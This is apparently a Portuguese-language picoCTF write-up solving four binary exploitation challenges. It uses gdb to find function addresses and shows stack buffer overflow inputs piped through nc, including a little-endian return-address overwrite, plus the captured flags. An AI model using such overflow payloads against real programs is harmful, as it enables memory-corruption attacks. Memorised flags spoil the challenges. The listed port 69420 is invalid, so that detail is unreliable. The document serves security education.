PicoCTF: Low Level Binary Intro - Binary Exploitation#

Agora vamos voltar aos binários, C e assembly. Após o intervalo, vamos verificar ponteiros e endereços para recuperar nossas informações.

Picker IV#

Você consegue descobrir como esse programa funciona para obter a flag?

Desta vez, não nos foi fornecido apenas o código-fonte do programa, mas também os binários. Com esses binários, podemos verificar os detalhes na linguagem assembly usando o gdb, um depurador bastante popular. Mas primeiro, vamos analisar o código-fonte, ele está escrito em C, mas a estrutura é bem familiar.

A função “main()” é:

int main() {
  signal(SIGSEGV, print_segf_message);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  unsigned int val;
  printf("Enter the address in hex to jump to, excluding '0x': ");
  scanf("%x", &val);
  printf("You input 0x%x\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

Isso nos indica que não há nenhuma conexão com a função “win()” (a função que nos mostra a flag). Mas ela pode fazer um salto para um endereço de memória específico, que poderia ser a nossa função “win()”.

Para tentar isso, primeiro encontramos o endereço da função “win()” usando o gdb no arquivo executável Picker-IV. Depois disso, faremos disasseble da função win:

(gdb) disassemble win

Ela retorna com:

Dump of assembler code for function win:
   0x000000000040129e <+0>:     endbr64
   0x00000000004012a2 <+4>:     push   %rbp
   0x00000000004012a3 <+5>:     mov    %rsp,%rbp

Portanto, o primeiro endereço é 000000000040129e, que pode ser abreviado para 40129e.

Agora, executando o programa Picker-IV e inserindo o endereço que acabamos de encontrar, o programa saltará para esse endereço e a flag será revelada.

Answer: Flag Picker IV
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_01672a61}

buffer overflow 0#

Este desafio nos fará causar um estouro de buffer (buffer overflow), não um estouro de buffer para injetar código ou dados, não, apenas um estouro de buffer. Assim como antes, o desafio nos fornece um código-fonte e um executável para serem analisados.

O código, escrito em C, solicita um input e encerra o programa. Simples assim.

A forma como armazena a saída é utilizando a função gets. Esta é uma função insegura, normalmente usam buffer overflow para programas que usam essa função. Aqui está a função principal:

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

E a função que nos retorna a flag se chama sigsegv_handler, que obtemos apenas se ocorrer um erro (SIGSEGV):

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

O buffer overflow é literalmente uma sobrecarga de caracteres, então vamos tentar escrever uma sequência de zeros na entrada do programa para ver o que acontece. Estou escrevendo 32 zeros:

nc saturn.picoctf.net 69420
Input: 0000000000000000000000000000000000000000000000000000000000000000

Com isso, um erro SIGSEGV é lançado e a flag é revelada.

Answer: buffer overflow 0
picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}

Local Target#

Smash the stack É possível causar um estouro de buffer e modificar a outra variável local?

Para explicar como resolver este problema, primeiro precisamos explicar algo sobre buffer overflow. Já sabemos que, se a entrada for muito longa, ela ultrapassa os limites esperados pelo programa. Mas a questão é: para onde vai essa “entrada longa inesperada”?

A memória possui um espaço específico reservado para dados, se o programa não lidar com isso corretamente, os novos dados substituirão partes da memória com a nossa entrada.

Neste programa, precisamos atribuir o valor 65 a uma variável numérica chamada num, e com esse valor ele nos retorna a flag.

  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");

O problema é que a variável num nunca é alterada de forma alguma no código. Temos apenas uma entrada e a saída é sempre num = 64. Vamos tentar causar um estouro de buffer, já que este programa ainda usa a função não segura gets.

Se digitarmos o número 1 por 16 vezes:

echo 1111111111111111 | nc saturn.picoctf.net 69420

Sem alterações, o resultado continua sendo 64. Vamos tentar digitar o número 1 por 32 vezes:

echo 11111111111111111111111111111111 | nc saturn.picoctf.net 69420

Isso mostrará um número muito distante de 64, achamos uma mudança, mas precisamos encontrar um meio-termo para o nosso número. Depois de algumas tentativas, cheguei à seguinte sequência:

echo 000000000000000000000000A | nc saturn.picoctf.net 69420

Os zeros servem apenas para preencher o espaço na memória, mas o verdadeiro fator de mudança é o caractere A, que representa 65 em decimal. Agora, estamos alterando o valor da variável num diretamente através da memória. E com isso, a flag é revelada.

Answer: Local Target
picoCTF{l0c4l5_1n_5c0p3_fee8ef05}

buffer overflow 1#

Controle o endereço de retorno Agora sim! Você pode causar um estouro de buffer e retornar à função que tem a flag no programa.

Você já sabe como funciona, então vamos analisar o código.

Assim como no desafio anterior, em que uma variável precisa ter um valor específico, mas nunca é chamada, desta vez temos a função “win()”, que também nunca é chamada. Portanto, precisamos chamá-la direto da memória, usando nosso conhecimento sobre buffer overflow.

Mas, em vez de tentar adivinhar o valor hexadecimal da entrada que estamos adicionando, vamos encontrar onde ele aparece na saída e usar o comando printf para fazer uma injeção melhor.

Assim, fazendo algumas estimativas, temos os seguintes tamanhos de entrada que atingem nossa saída:

00000000000000000000000000000000000000000000011111111

A sequência de Um’s é o local onde a saída está sendo substituída, então precisamos encontrar a posição da função “win()” na memória e colocá-la lá. Para encontrá-la, faremos o mesmo que fizemos no Picker-IV, usando gdb e disassemble win para obter o endereço da função.

Estaremos usando printf para inserir o valor hexadecimal diretamente pelo input, assim:

printf '000000000000000000000000000000000000000000000\x08\x04\x91\xf6' | nc saturn.picoctf.net 69420

Também adicionaremos um 0x0A, para que o programa calcule o pressionamento da tecla Return/Enter, validando a entrada:

printf '000000000000000000000000000000000000000000000\x08\x04\x91\xf6\x0a' | nc saturn.picoctf.net 69420

Mas espere, não funcionou. Isso porque o programa lê os endereços em formato Little Endian, o que faz com que cada byte fique invertido. Então, enviaremos o endereço invertido byte a byte, e o programa o reordenará da maneira que desejamos, que ficará assim:

printf '000000000000000000000000000000000000000000000\xf6\x91\x04\x08\x0a' | nc saturn.picoctf.net 69420

Com isso, a flag nos é apresentada, finalizando esta playlist.

Answer: buffer overflow 1
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}